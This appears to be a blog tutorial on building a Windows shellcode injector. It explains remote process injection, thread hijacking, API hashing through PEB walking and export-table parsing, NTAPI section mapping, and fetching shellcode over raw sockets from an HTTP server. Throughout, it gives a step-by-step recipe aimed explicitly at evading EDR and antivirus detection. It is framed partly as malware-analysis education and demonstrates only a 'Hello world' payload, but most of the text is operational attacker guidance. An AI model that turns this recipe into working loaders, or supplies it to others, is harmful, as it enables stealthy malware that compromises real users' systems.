What we will create?

We’ll examine remote process injection and the techniques attackers use to hide it things like thread hijacking, API hashing with dynamic resolution, walking the PEB to locate modules, and abusing undocumented APIs. These methods show up in many RATs (for example, njRAT), so understanding them is useful for anyone doing malware analysis or hardening defenses. I didn’t cover some advanced evasion tactics here for example, unhooking and syscall-based tricks but we’ll note where they fit in the bigger picture.

Remote injection?

when you first read "remote injection" it sound hard to do, but it's so easy to implement, but the hard part how to evade detection because it's widely recognized technique by EDR. to achieve this attack we need to do the following steps:

1. Opening a Handle to the Target Process (OpenProcess):Before any interaction with a remote process can occur, a handle to it must be obtained. A handle is an object that represents a reference to a resource, in this case, the target process. The OpenProcess function is used for this purpose. It takes the process identifier (PID) of the target process and the desired access rights as arguments. For this injection technique, the handle must be opened with at least the PROCESS_VM_OPERATION( Grants permission to perform operations on the virtual memory of the target process.Use functions like VirtualAllocEx or VirtualFreeEx to allocate or free memory inside another process.), PROCESS_VM_WRITE, and PROCESS_CREATE_THREAD access rights.
2. Allocating Memory in the Target Process (VirtualAllocEx): Once a handle with the appropriate permissions is acquired, the next step is to allocate a region of memory within the virtual address space of the target process. This is where the payload will be written. The VirtualAllocEx function is used for this remote allocation. It requires the handle to the target process.
3. Writing the Payload to the Allocated Memory (WriteProcessMemory): With memory allocated in the target process, the payload can now be written into it. The WriteProcessMemory function copies a block of memory from the current process (the injector) to the allocated memory space in the target process. It takes the handle to the target process, the base address of the allocated memory, a pointer to the payload in the injector's memory, and the size of the payload as arguments.
4. Executing the Payload with CreateRemoteThread:The final step is to trigger the execution of the injected payload. This is achieved by creating a new thread within the target process that starts its execution at the beginning of the injected code.

Thread Hijacking?!

So, you’ve written some code (our "payload") and injected it into another program, like Notepad.exe. Now, how do you make it run? One option is to use a Windows function called CreateRemoteThread, but that’s like blasting it’s loud, obvious, and likely to get noticed by antivirus or security tools because it triggers alerts like notifythread. Instead, in this project, we’re using a sneakier method called thread hijacking. (we’ll touch on another cool technique called APC injection in a future blog!) Let’s break down thread hijacking in a simple way, steering clear of complex assembly code.

How Does Thread Hijacking Work?

Think of a thread as a worker inside a program, busy doing tasks. Every thread has two key things:

1. Registers: These are like sticky notes where the thread keeps track of important values, like where it’s currently working in the program’s code (called the Instruction Pointer, or IP).
2. Flags: These are like status tags that show what happened after the thread did some work, like whether a calculation resulted in zero or a negative number.

When we hijack a thread, we’re basically sneaking in, borrowing that worker for a bit, and making it run our code instead of its usual job. Here’s how we do it, step by step:

1. Find a Thread: We pick a thread in the target program (e.g., Notepad). Every program has threads running tasks, like updating the screen or handling your typing.
2. Pause the Thread: We use a Windows function (SuspendThread) to put the thread on hold, like telling the worker to take a quick nap.
3. Change the Instruction Pointer: The thread’s Instruction Pointer (IP) is a register that points to the next piece of code it will run. We swap it out to point to our payload the code we injected basically redirecting the worker to our task.
4. Wake the Thread Up: We resume the thread (ResumeThread), and it starts running our payload instead of its original job.
5. Restore the Thread: After our payload runs, we pause the thread again, put the original Instruction Pointer back, and let the thread continue its normal work. It’s like the worker never knew they were diverted!

Why Is This Sneaky?

Unlike CreateRemoteThread, which creates a brand-new thread and screams “Hey, I’m doing something suspicious!” to security tools, thread hijacking reuses an existing thread. It’s quieter because the thread was already there, doing its thing, so it’s less likely to raise red flags.

API hash and obfuscation

API hashing and import obfuscation are advanced techniques commonly used by malware authors to conceal the operating system (OS) functions that their malicious code relies on. To understand this, let's start with some basics for those new to the topic.

In a typical Windows executable (like a .exe file), when a program needs to use functions from system libraries (such as those in DLL files like Kernel32.dll), it declares these dependencies upfront in a structure called the Import Address Table (IAT). The IAT is essentially a list inside the executable that says, "I need these specific functions from these DLLs." When the program runs, the Windows loader automatically resolves (finds and loads) these functions by their names and fills in their memory addresses in the IAT. This makes it easy for security tools, like antivirus software or Endpoint Detection and Response (EDR) systems, to scan the executable and spot suspicious API calls such as those used for file manipulation, network access, or process injection that might indicate malware.

Malware authors want to evade this detection. Instead of statically listing function names in the IAT (which would be a dead giveaway), they use import obfuscation to resolve these functions dynamically at runtime. This means the code figures out the function addresses on the fly while the program is running, without any explicit imports in the IAT. To make it even harder to detect, they often employ API hashing: instead of using the actual function names (which are human-readable strings like "CreateFileA"), they compute a hash (a numerical fingerprint) of the name and use that hash to look up the function. This hides the intent from static analysis tools that scan for string patterns.

From a defender's perspective, this technique alters two key indicators of compromise:

• Static signals: The IAT no longer reveals the imported functions, making it tougher to flag the binary as malicious before it even runs.
• Dynamic signals: Runtime behavior might still be monitored by EDR tools, but if done cleverly, the malware can avoid triggering alerts based on common API usage patterns.

Let's break down how this works step by step, using an example where the malware wants to call the ResumeThread function (which is exported by Kernel32.dll and could be used to manipulate other processes). We'll explain why standard Windows APIs are avoided and how custom implementations are created instead.

Step 1: Getting the DLL's Base Address

To call a function in a DLL, you need its base memory address in the process. Windows provides GetModuleHandle for this e.g., GetModuleHandle("Kernel32.dll") returns Kernel32.dll's address. But using it directly exposes the function in the Import Address Table (IAT), alerting Endpoint Detection and Response (EDR) tools to dynamic loading.

Malware avoids this by manually traversing the Process Environment Block (PEB), a Windows structure tracking loaded modules:

• Access the PEB via the Thread Environment Block (TEB), available to every thread.
• Follow pointers to the InMemoryOrderModuleList, a list of loaded DLLs.
• Search for the DLL (e.g., by hashing its name) to get its base address.

This custom approach avoids GetModuleHandle to stay stealthy. we will see it in the code late.

Step 2: Finding the Function's Address

With the DLL's base address, the next step is locating the target function's address (e.g., ResumeThread). Windows offers GetProcAddress for this, but like GetModuleHandle, it’s detectable in the IAT or at runtime.

Instead, malware parses the DLL’s Export Address Table (EAT) in the Portable Executable (PE) header:

• Navigate the PE headers from the DLL’s base address to find the EAT.
• Iterate through exported function names (or their hashes) to match the target.
• Compute the function’s address.

What I Changed?

In the code, I switched from traditional remote process injection using WriteProcessMemory and VirtualAllocEx to a manual mapping technique for better evasion. Why? These standard APIs are heavily monitored by EDR tools, making them easy to detect. Instead, we use lower-level Native APIs (NTAPI) from ntdll.dll like NtCreateSection, NtMapViewOfSection, and NtUnmapViewOfSection to create and map shared memory sections. These act as stealthy containers for shellcode, mimicking how Windows legitimately handles memory (e.g., for DLL loading or inter-process data sharing).

Why is this better? Manual mapping avoids flagged APIs, blends with normal OS behavior, and reduces the detectable footprint by bypassing the Import Address Table and runtime logs. It’s common in advanced malware and APTs to bypass security. The process: Create a kernel-managed "section object," map it into the target process’s address space, copy the shellcode, and execute it.

Code

Hash and dynamic loading (optional)

here are the functions hash, for more info about how i got this hash in what function see this.

now we need to create custom way to get the model base address. so how it work?

1. Accesses the Process Environment Block (PEB) using __readgsqword (64-bit) or __readfsdword (32-bit) to locate the list of loaded modules.
2. Iterates through the InMemoryOrderModuleList in the PEB’s loader data.
3. For each module, converts its Unicode name to ANSI, extracts the base name (e.g., "kernel32.dll"), and computes its hash.
4. Compares the computed hash with the input modulehash.
5. Returns the module’s base address (HMODULE) if a match is found, or NULL if not.

now that we have the base address we want a way get the function address the function is simple it does the following:

1. Verifies the DLL’s IMAGE_DOS_HEADER (checks e_magic for MZ signature).
2. Locates the IMAGE_NT_HEADERS and verifies its signature (PE).
3. Accesses the Export Directory via the NT headers’ data directory.
4. Iterates through the export table’s function names, computing each name’s hash.
5. If a name’s hash matches the input functionhash, returns the function’s address using its ordinal to index the address table.
6. Returns NULL if no match is found or if headers are invalid.

now to resolve any function dynamically we can do this.

Download the payload

instead of add the shellcode in the payload, the payload will try to fetch the payload for a http server, using raw socket for evading detection here is the function.

1. Load Winsock Library: Gets Ws2_32.dll address using ManualGetModuleHandle (by hash) or LoadLibraryA to avoid detection. note here we can do our own version if LoadLibraryA but i will leave this to you.
2. Initialize Winsock: Calls WSAStartup to set up network operations.
3. Create Socket: Creates a TCP socket for HTTP communication.
4. Parse URL: Extracts host, port, and path from the URL (e.g., http://example.com/payload → host: example.com, path: /payload, port: 80).
5. Connect: Sets up server IP/port and connects using connect.
6. Send HTTP Request: Builds and sends a GET request (e.g., GET /payload HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n).
7. Receive Data: Gets response with recv, finds Content-Length, and copies payload to outBuffer.
8. Cleanup: Closes socket (closesocket) and Winsock (WSACleanup).
9. Return: Returns true on success, false on failure, with len set to payload size.

Process injection and hijacking

the main logic. The inject function downloads a payload (e.g., shellcode) from a URL and injects it into a target process (specified by processName) using stealthy manual mapping to avoid detection. Here’s how it works.

1. Get Native APIs: Uses ManualGetProcAddress to resolve NTAPI functions (NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection) and others (OpenProcess, OpenThread, etc.) by their hashes, avoiding detectable API calls.
2. Find Target Process: Uses findProcess (this simple function you can see it from the code no need to explain it.) to get the process ID (PID) and thread ID (TID) of the target process (e.g., Notepad.exe). Opens handles to the process and its main thread. the thread used for the hijacking.
3. Download Payload: Calls downloadPayload to fetch the payload from the URL into a buffer and get its size (payloadLen). (you might change the buffer size base on your payload)
4. Create Section: Calls NtCreateSection to create a shared memory section (a kernel-managed block) with read/write/execute permissions to hold the payload.
5. Map to Current Process: Maps the section into the current process’s memory using NtMapViewOfSection. Why map here first? Mapping to the current process provides a safe, controlled environment to copy the payload into the shared section. This avoids directly writing to the target process, which could trigger EDR alerts or cause instability. Alternatively, mapping directly to the target process and using a remote write function (e.g., WriteProcessMemory) is riskier, as it’s more detectable by security tools and may fail if the target process’s memory state is unpredictable.

let's test our code.

first let's open http server and expose our shellcode.

as you can see i typed the http url and the target process which is notepad.

Notice that Notepad froze because we suspended its thread to inject the payload and changed the RIP, stopping its normal code execution. After completing the injection, we restored the original context, and as shown in the picture, Notepad is now responding again. because of this you should to pick the thread that is related to ui or background thread.

Let's see what's happening in the background?

Let’s open WinDbg As you can the code mapped the shellcode to the memory address 0x00000172931F0000.

1. Start WinDbg: Launch WinDbg and attach it to the process (e.g., Notepad.exe or the injector) where the shellcode was injected.
2. Search Memory: Use the address 0x00000172931F0000 to inspect the memory. In WinDbg, type db 0x00000172931F0000 in the command window and press Enter. This displays the memory contents at that address.
3. Check Shellcode: Look at the hex values (e.g., x48 x83 xec x28) to confirm the shellcode is present. This matches the payload shown in your code editor, proving it’s correctly written to memory.

Let’s see how the code tweaks the RIP (Instruction Pointer) to run the payload and restores it in WinDbg:

1. Original RIP: Thread starts at 0x7c1c14b2000 (orange).
2. Change RIP: Sets RIP to 0x0000017C143B8000 (green) to run the payload (e.g., “Hello world”).
3. Run Payload: Thread executes the shellcode after resuming.
4. Restore RIP: Resets RIP back to 0x7c1c14b2000 (red), letting Notepad run normally again.

Why?: This swaps the thread to the payload, then restores it to avoid crashes or detection!

is it detectable?